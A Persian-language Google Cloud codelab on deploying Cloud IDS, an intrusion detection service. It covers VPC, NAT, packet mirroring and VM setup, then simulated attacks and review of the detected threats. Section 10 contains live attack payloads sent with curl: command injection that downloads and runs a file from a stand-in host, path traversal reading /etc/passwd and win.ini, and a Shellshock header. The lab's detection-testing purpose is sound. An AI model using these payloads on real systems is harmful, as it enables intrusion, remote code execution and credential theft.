Cloud IDS

۱. مقدمه

در این آزمایشگاه، شما Cloud IDS، یک سرویس تشخیص نفوذ پیشرفته نسل بعدی را مستقر می‌کنید که تشخیص تهدید برای نفوذها، بدافزارها، جاسوس‌افزارها و حملات فرماندهی و کنترل را فراهم می‌کند. شما حملات متعدد را شبیه‌سازی کرده و جزئیات تهدید را در Cloud Console مشاهده خواهید کرد.

آنچه یاد خواهید گرفت

  • نحوه ایجاد یک نقطه پایانی Cloud IDS
  • نحوه ایجاد دو ماشین مجازی با دستورات gcloud
  • نحوه ایجاد سیاست انعکاس بسته (packet mirroring policy)
  • نحوه شبیه‌سازی ترافیک حمله از یک ماشین مجازی
  • نحوه مشاهده جزئیات تهدید در Cloud Console و Cloud Logging

آنچه نیاز دارید

  • آشنایی با دستورات پایه لینوکس

۲. موارد استفاده از Cloud IDS

Cloud IDS یک سرویس تشخیص نفوذ نسل بعدی (IDS) بومی Google Cloud را برای مشتریان فراهم می‌کند تا الزامات پیشرفته تشخیص تهدید و انطباق با الزامات مانند PCI 11.4 را برآورده کنند. این سرویس توسط فناوری‌های محافظت در برابر تهدید Palo Alto Networks پشتیبانی می‌شود تا تشخیص نفوذ پیشرفته‌ای را ارائه دهد. ترکیب زیرساخت جهانی Google Cloud با امنیت جهانی Palo Alto Networks، ترکیبی بی‌نظیر از یک سرویس تشخیص تهدید پیشرفته با مدیریت کامل، عملکرد بالا و بالاترین اثربخشی امنیتی را در اختیار مشتریان قرار می‌دهد.

با مهاجرت مشتریان به فضای ابری، امنیت برای آنها از اهمیت بالایی برخوردار است. آنها می‌خواهند کنترل‌های امنیتی مشابهی را که در محل خود دارند، مانند سرویس تشخیص نفوذ (IDS) در فضای ابری نیز داشته باشند. آنها به شدت ترجیح می‌دهند از یک راهکار IDS مدیریت‌شده بومی ابری استفاده کنند تا در مقایسه با استقرار یک راهکار امنیتی شخص ثالث و مدیریت زیرساخت یا آوردن امضاهای خودشان، سهولت استقرار، عملکرد بالا و هزینه‌های بهینه را داشته باشند. Google Cloud IDS یک سرویس IDS مدیریت‌شده سرتاسری و با قابلیت مقیاس‌پذیری خودکار ارائه می‌دهد که به مشتریان امکان می‌دهد وقت خود را صرف تجزیه و تحلیل و کاهش تهدیدات کنند و زمان و منابع خود را برای مدیریت زیرساخت یا امضاهای تهدید آزاد کنند.

Cloud IDS خارج از باند مستقر شده و می‌تواند تهدیدها را شناسایی و هشدار دهد، اما نمی‌تواند تهدیدها را مسدود کند. این سیستم از Google Cloud Packet Mirroring برای تهیه یک کپی از ترافیک شبکه که با استفاده از موتور تشخیص تهدید شبکه Palo Alto تجزیه و تحلیل می‌شود، استفاده می‌کند.

۳. توپولوژی Codelab

5a276f399e1d31e2.png

شکل ۱. نمای کلی معماری سطح بالا از استقرار Cloud IDS برای این آزمایشگاه.

۴. تنظیمات و الزامات

تنظیم محیط خودتنظیم

  1. وارد کنسول گوگل کلود شوید و یک پروژه جدید ایجاد کنید یا از یک پروژه موجود دوباره استفاده کنید. اگر از قبل حساب جیمیل یا گوگل ورک اسپیس ندارید، باید یکی ایجاد کنید .

96a9c957bc475304.png

b9a10ebdf5b5a448.png

a1e3c01a38fa61c2.png

  • نام پروژه ، نام نمایشی برای شرکت‌کنندگان این پروژه است. این یک رشته کاراکتری است که توسط APIهای گوگل استفاده نمی‌شود و شما می‌توانید آن را در هر زمانی به‌روزرسانی کنید.
  • شناسه پروژه باید در تمام پروژه‌های گوگل کلود منحصر به فرد باشد و تغییرناپذیر است (پس از تنظیم، قابل تغییر نیست). کنسول کلود به طور خودکار یک رشته منحصر به فرد تولید می‌کند؛ معمولاً برای شما مهم نیست که چیست. در اکثر آزمایشگاه‌های کد، باید به شناسه پروژه ارجاع دهید (و معمولاً با نام PROJECT_ID شناخته می‌شود)، بنابراین اگر آن را دوست ندارید، یک شناسه تصادفی دیگر ایجاد کنید، یا می‌توانید شناسه خودتان را امتحان کنید و ببینید آیا در دسترس است یا خیر. سپس پس از ایجاد پروژه، آن "منجمد" می‌شود.
  • یک مقدار سوم هم وجود دارد، شماره پروژه که برخی از APIها از آن استفاده می‌کنند. برای اطلاعات بیشتر در مورد هر سه این مقادیر به مستندات مراجعه کنید.
  1. در مرحله بعد، برای استفاده از منابع/APIهای ابری، باید پرداخت صورتحساب را در کنسول ابری فعال کنید . اجرای این آزمایشگاه کد، اگر اصلاً هزینه‌ای نداشته باشد، هزینه زیادی نخواهد داشت. برای خاموش کردن منابع به طوری که پس از این آموزش متحمل پرداخت صورتحساب نشوید، دستورالعمل‌های «پاکسازی» موجود در انتهای آزمایشگاه کد را دنبال کنید. کاربران جدید Google Cloud واجد شرایط برنامه آزمایشی رایگان ۳۰۰ دلاری هستند.

شروع پوسته ابری

اگرچه می‌توان از راه دور و از طریق لپ‌تاپ، گوگل کلود را مدیریت کرد، اما در این آزمایشگاه کد، از گوگل کلود شل ، یک محیط خط فرمان که در فضای ابری اجرا می‌شود، استفاده خواهید کرد.

از کنسول GCP روی آیکون Cloud Shell در نوار ابزار بالا سمت راست کلیک کنید:

bce75f34b2c53987.png

آماده‌سازی و اتصال به محیط فقط چند لحظه طول می‌کشد. وقتی تمام شد، باید چیزی شبیه به این را ببینید:

f6ef2b5f13479f3a.png

این ماشین مجازی مجهز به تمام ابزارهای توسعه مورد نیاز شماست. این ماشین یک دایرکتوری خانگی دائمی ۵ گیگابایتی ارائه می‌دهد و روی فضای ابری گوگل اجرا می‌شود که عملکرد شبکه و احراز هویت را تا حد زیادی بهبود می‌بخشد. تمام کارهای شما در این آزمایشگاه را می‌توان به سادگی با یک مرورگر انجام داد.

۵. قبل از شروع

فعال کردن APIها

داخل Cloud Shell، مطمئن شوید که شناسه پروژه شما تنظیم شده است

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

فعال کردن تمام سرویس‌های لازم

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

۶. ایجاد شبکه VPC

شبکه VPC

از پوسته ابری

gcloud compute networks create cloud-ids \
--subnet-mode=custom

زیرشبکه

از پوسته ابری

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

دسترسی به سرویس خصوصی

از پوسته ابری

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

اتصال سرویس خصوصی

از پوسته ابری

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

قوانین فایروال

برای اینکه به IAP اجازه دهید به ماشین‌های مجازی شما متصل شود، یک قانون فایروال ایجاد کنید که:

  • برای تمام نمونه‌های ماشین مجازی که می‌خواهید با استفاده از IAP به آنها دسترسی داشته باشید، اعمال می‌شود.
  • اجازه ورود ترافیک از محدوده IP 35.235.240.0/20 را می‌دهد. این محدوده شامل تمام آدرس‌های IP است که IAP برای ارسال TCP استفاده می‌کند.

از پوسته ابری

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

برای اجازه دادن به پورت استاندارد HTTP (TCP 80) و پروتکل ICMP به سرور:

  • برای منابعی با برچسب شبکه "server" اعمال می‌شود.
  • اجازه ورود از همه منابع را می‌دهد

از پوسته ابری

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

ایجاد نمونه Cloud NAT

روتر ابری

از پوسته ابری

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

NAT ابری

از پوسته ابری

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

۷. ایجاد نقطه پایانی Cloud IDS

در این بخش، شما یک نقطه پایانی Cloud IDS در us-east1 ایجاد می‌کنید که شدت آن روی اطلاعات تنظیم شده است. ایجاد نقطه پایانی IDS تقریباً 20 دقیقه طول می‌کشد.

نقطه پایانی IDS

از پوسته ابری

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

تأیید کنید که نقطه پایانی Cloud IDS آغاز شده است

gcloud ids endpoints list --project=$PROJECT_ID

خروجی -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

۸. ایجاد دو ماشین مجازی

در این بخش، شما دو ماشین مجازی ایجاد می‌کنید. اولی سرور وب شما خواهد بود که به Cloud IDS متصل می‌شود. ماشین مجازی دوم منبع ترافیک حمله شما خواهد بود.

ماشین مجازی ۱ (سرور)

از پوسته ابری

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

ماشین مجازی ۲ (کلاینت)

از پوسته ابری

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

۹. آماده‌سازی سرور

در این کار، شما سرور خود را اعتبارسنجی کرده و یک بدافزار بی‌خطر برای کلاینت خود فراهم می‌کنید.

از طریق Cloud Shell به ماشین مجازی SSH وصل شوید

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

تأیید کنید که سرویس وب در حال اجرا است

sudo systemctl status nginx

خروجی - تأیید فعال و در حال اجرا بودن

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

تغییر دایرکتوری به وب سرویس

cd /var/www/html/

یک فایل بدافزار بی‌خطر روی وب‌سرور ایجاد کنید

sudo touch eicar.file

محتویات را جایگذاری کنید

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

بازگشت به کلودشل

exit

ایجاد یک سیاست انعکاس بسته در Cloud IDS

قانون هدایت نقطه پایانی IDS را شناسایی کنید و مطمئن شوید که وضعیت نقطه پایانی IDS "آماده" است.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

نمایش مثال در خروجی - مقدار "endpointForwardingRule" را کپی کنید

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

قانون هدایت نقطه انتهایی IDS را در یک متغیر ذخیره کنید.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

سیاست انعکاس بسته

از پوسته ابری

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

تأیید کنید که سیاست انعکاس بسته ایجاد شده است

از پوسته ابری

gcloud compute packet-mirrorings list

خروجی

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

۱۰. شبیه‌سازی ترافیک حمله

اتصال SSH به ماشین مجازی مهاجم (کلاینت)

از پوسته ابری

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

برای شبیه‌سازی ترافیک مخرب، درخواست‌های curl زیر را اجرا کنید.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

برای بازگشت به CloudShell از ماشین مجازی خارج شوید

exit

۱۱. بررسی تهدیدات شناسایی شده توسط Cloud IDS

به داشبورد Cloud IDS بروید

منوی ناوبری > امنیت شبکه > Cloud IDS

۳۷۵۸۳۴۱۹aa۶۰۴aa۸.png

به برگه تهدیدها بروید.

b7d934f409b4e2b.png

همانطور که می‌بینید، Cloud IDS پروفایل‌های مختلف ترافیک حمله را ثبت کرده و جزئیات مربوط به هر تهدید را ارائه داده است. اگر هیچ تهدیدی نمی‌بینید، ممکن است لازم باشد روی دکمه «Refresh» کلیک کنید. اکنون کمی عمیق‌تر بررسی خواهیم کرد و جزئیات تهدید را مشاهده خواهیم کرد.

تهدید «آسیب‌پذیری اجرای کد از راه دور Bash» را پیدا کنید و روی سه نقطه در سمت راست کلیک کنید و «مشاهده جزئیات تهدید» را انتخاب کنید.

b122b30dd8d43d9b.png

ee1b201a12db7ef7.png

اکنون جزئیات این حادثه را در Cloud Logging مشاهده خواهیم کرد. با کلیک روی فلش سمت چپ به صفحه Threats برگردید.

روی سه نقطه سمت راست کلیک کنید و گزینه «مشاهده گزارش‌های تهدید» را انتخاب کنید.

b122b30dd8d43d9b.png

ff0d5a0d652ddd83.png

همین جزئیات برای Cloud Logging ارائه می‌شود. این به شما امکان می‌دهد تا گزارش‌ها را به Cloud Storage، Chronicle یا هر SIEM/SOAR ارسال کنید. همچنین می‌توانید گردش‌های کاری سفارشی ایجاد کنید تا بر اساس هشدارها، اقدامات اصلاحی را انجام دهید، مثلاً ایجاد یک تابع ابری که با یک هشدار فعال می‌شود و یک قانون فایروال برای مسدود کردن آدرس IP ایجاد/به‌روزرسانی می‌کند، یا یک سیاست Cloud Armor ایجاد/به‌روزرسانی می‌کند.

۱۲. مراحل پاکسازی

خروج از نمونه ماشین مجازی (همه تب‌ها)

exit

از یک ترمینال Cloud Shell، اجزای آزمایشگاه را حذف کنید

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

۱۳. تبریک می‌گویم!

تبریک می‌گویم که آزمایشگاه کد را تمام کردی.

آنچه ما پوشش داده‌ایم

  • موارد استفاده از Cloud IDS
  • الزامات شبکه
  • API های پشتیبانی شده
  • یک نقطه پایانی Cloud IDS ایجاد شد
  • ۲ ماشین مجازی مستقر شده
  • مقداری ترافیک "حمله" از سمت کلاینت ایجاد شد
  • تهدیدات تأیید شده توسط IDS شناسایی شدند
  • جزئیات و گزارش‌های تهدید را بررسی کنید